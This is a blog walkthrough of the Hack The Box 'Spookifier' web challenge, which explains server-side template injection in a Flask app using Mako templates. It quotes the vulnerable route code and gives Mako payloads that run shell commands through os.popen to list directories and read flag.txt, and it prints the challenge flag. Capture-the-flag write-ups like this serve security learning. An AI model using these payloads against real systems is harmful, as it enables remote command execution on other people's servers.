Spookifier is a very easy web challenge created by Xclow3n on Hack The Box. To hack it, we will need to exploit Server Side Template Injection. Hello world, welcome to haxez where today we will hack the Spookifier challenge. The challenge has the following introduction:
There’s a new trend of an application that generates a spooky name for you. Users of that application later discovered that their real names were also magically changed, causing havoc in their life. Could you help bring down this application?
Enumerating Spookifier
Upon navigating to the page, we are greeted with a purple web application with some graphics and an input box. Furthermore, the box asks us to input our name so that it can spookify it and produce our new spooky name. After inputting our name, the application appears to output our name but in a different font.
Source Code Review
Back in the Hack The Box portal there is an option to download the files associated with the challenge. Fortunately for me, we live in an age of AI which should more than make up for my complete lack of programming skills. Honestly, I wouldn’t recognise a code vulnerability even if the variable was named exploit_me.
from flask import Blueprint, request
from flask_mako import render_template
from application.util import spookify
web = Blueprint('web', __name__)
@web.route('/')
def index():
text = request.args.get('text')
if(text):
converted = spookify(text)
return render_template('index.html',output=converted)
return render_template('index.html',output='')
Looking through the code it appears to be a Python web framework or Flask application with Mako which is a templating engine. Furthermore, the purpose of the application is to process user input dynamically and render HTML. At least, that’s what AI is telling me.
Understanding The Vulnerability
The application has a vulnerability because it directly renders user input text
in the template using the render_template
function, without any input sanitization or validation. I’m not going to dig much deeper than that because that would cause me to go down rabbit holes and its already getting late. However, the vulnerability could potentially be fixed by adding safe_output = Markup.escape(converted)
to properly escape the text. With that said, we can try an SSTI payload and see if we get the expected result. As you can see below, I have submitted ${404*2}
which if calculated correctly should return Bob or 808.
Exploiting Spookifier
Now that we know it is vulnerable, we can get a payload from PayloadAllTheThings and modify it for our purposes. First, we will need to list out the current directory and the directories above it to find the flag.
${self.module.cache.util.os.popen('ls ../').read()}
Then once we know where the flag is, we can modify the payload again to read the flag.
${self.module.cache.util.os.popen('cat ../flag.txt').read()}
HTB{t3mpl4t3_1nj3ct10n_C4n_3x1st5_4nywh343!!}
Spookifier Learnings
So I believe this vulnerability would have been found quickly with either Burp or Zap but as Iron Man once said to Spider-Man…
If you’re nothing without the suit (tools) then you shouldn’t have it
I understand why this application is vulnerable even if I don’t fully understand the Python and Mako templates that make it vulnerable. User input sanitisation is important for all untrusted data being input into an application. Anyway, thats it. Also my spellcheck tools are playing up so there are probably errors sorry.